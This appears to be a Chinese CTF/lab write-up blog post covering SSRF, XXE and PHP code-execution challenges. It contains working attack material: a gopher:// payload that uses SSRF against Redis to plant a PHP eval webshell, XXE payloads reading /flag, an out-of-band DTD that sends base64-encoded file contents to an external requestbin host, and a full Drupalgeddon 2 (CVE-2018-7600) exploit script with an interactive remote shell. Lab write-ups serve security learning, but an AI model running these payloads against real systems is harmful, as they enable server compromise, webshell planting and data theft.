SSRF
SSRF扫描内网靶机
<?php
highlight_file(__FILE__);
if(isset($_GET['url'])) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //如果把这行注释掉的话,就会直接输出
$result=curl_exec($ch);
curl_close($ch);
echo($result);
}
存在curl_exec()函数,就可能存在SSRF:
查看内网IP:
/etc/hosts #hosts文件
/proc/net/fib_trie #网卡信息
访问172.17.0.3
得到flag:
SSRF攻击 Redis
redis密码:root
访问一下,解析出了标题,说明这里可能存在SSRF。
输入127.0.0.1:100,提示 Failed to connect to 127.0.0.1 port 100: Connection refused;
但是输入127.0.0.1:6379,不提示这个错误消息,表明6379端口确实开着。
BP抓个包:
可以用gopher://
协议传输redis的数据报文,达到类似redis的连接、设置、存储操作。
使用自动化工具Gopherus
。
https://github.com/tarunkant/Gopherus
https://github.com/LS95/gopher-redis-auth #针对redis需要密码认证的自动化工具
gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_REQUEST%5B%27air%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
需要对数据进行url编码,BP右键Convert selection->URL->URL-encode key charchters
进行url编码。
此时就会在网站根目录/var/www/html
下生成shell.php
,内容是一句话木马<?php eval($_REQUEST['air']);?>
。
SSRF攻击本地的php-fpm fastcgi(9000端口)
类似于上一题,需经过url编码后传入:
XXE漏洞
XXE读取/flag和./flag.php
<?php
highlight_file(__FILE__);
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
php://input可以传xml代码导致XXE漏洞:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE air [<!ENTITY xxe SYSTEM "file:///flag">]>
<root>
<name>&xxe;</name>
</root>
读取./flag.php
:
base解码为:
<?php
$flag = 'flag{sometimes_you_need_php://}';
无回显XXE读取/flag
<?php
highlight_file(__FILE__);
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
既然无回显,就开一个外带通道:
xml内容:
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % dtd SYSTEM "http://10.11.47.175/air.dtd">
%dtd;%int;%send
]>
air.dtd
内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://http.requestbin.buuoj.cn/vatk0dva?p=%file;'>">
要是没开报错,其实也可以到外带通道里查看得到flag的base64编码:
PHP代码执行
Thinkphp5 代码执行
使用Kali里的searchsploit查找thinkphp的利用poc:
使用以上查找出来的payload直接拿到flag:
phpunit代码执行
代码审计,出问题的地方在eval-stdin.php
处:
访问:
http://10.20.25.44:283/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Durpal代码执行
猜测是cve-2018-7600,使用脚本来源:
https://github.com/zhzyker/exphub
脚本如下,稍微修改了一下:
#!/usr/bin/python3
# coding:utf-8
# author:zhzyker
# from:https://github.com/zhzyker/exphub
import sys
import requests
import json
if len(sys.argv)!=2:
print('+----------------------------------------------------------------------+')
print('+ DES: by zhzyker as https://github.com/zhzyker/exphub +')
print('+ Drupal Drupalgeddon 2 远程代码执行 CVE-2018-7600 +')
print('+----------------------------------------------------------------------+')
print('+ USE: python3 <filename> <url> +')
print('+ EXP: python3 cve-2018-7600_cmd.py http://1.1.1.1:8080 +')
print('+ VER: Drupal 6.x +')
print('+ Drupal 7.x < 7.58 +')
print('+ Drupal 8.3 < 8.3.9 +')
print('+ Drupal 8.4 < 8.4.6 +')
print('+ Drupal 8.5 < 8.5.1 +')
print('+----------------------------------------------------------------------+')
print('+ DES: Shell仅能回显一行代码,多行代码结果查看http://xxxx/exphub.txt +')
print('+----------------------------------------------------------------------+')
sys.exit()
url=sys.argv[1]
#cmd=sys.argv[2]
cmd="whoami"
proxies = {}
verify = True
def do_post(cmd):
target = url + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': ''+cmd+' | tee exphub.txt'}
r = requests.post(target, proxies=proxies, data=payload, verify=verify)
#command = r.json()[0]["data"]
#command = command.split("<span")[0]
#print (command)
check = requests.get(url+'exphub.txt', proxies=proxies, verify=verify)
if check.status_code!=200:
sys.exit("[-] not CVE-2018-7600\n")
print('[+] '+url+'exphub.txt\n')
res = requests.get(url+'exphub.txt')
print(res.text)
def main():
while 1:
cmd = input("Shell >>> ")
if cmd=="exit":
exit(0)
do_post(cmd)
if __name__ == '__main__':
main()
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/107825513
========================================================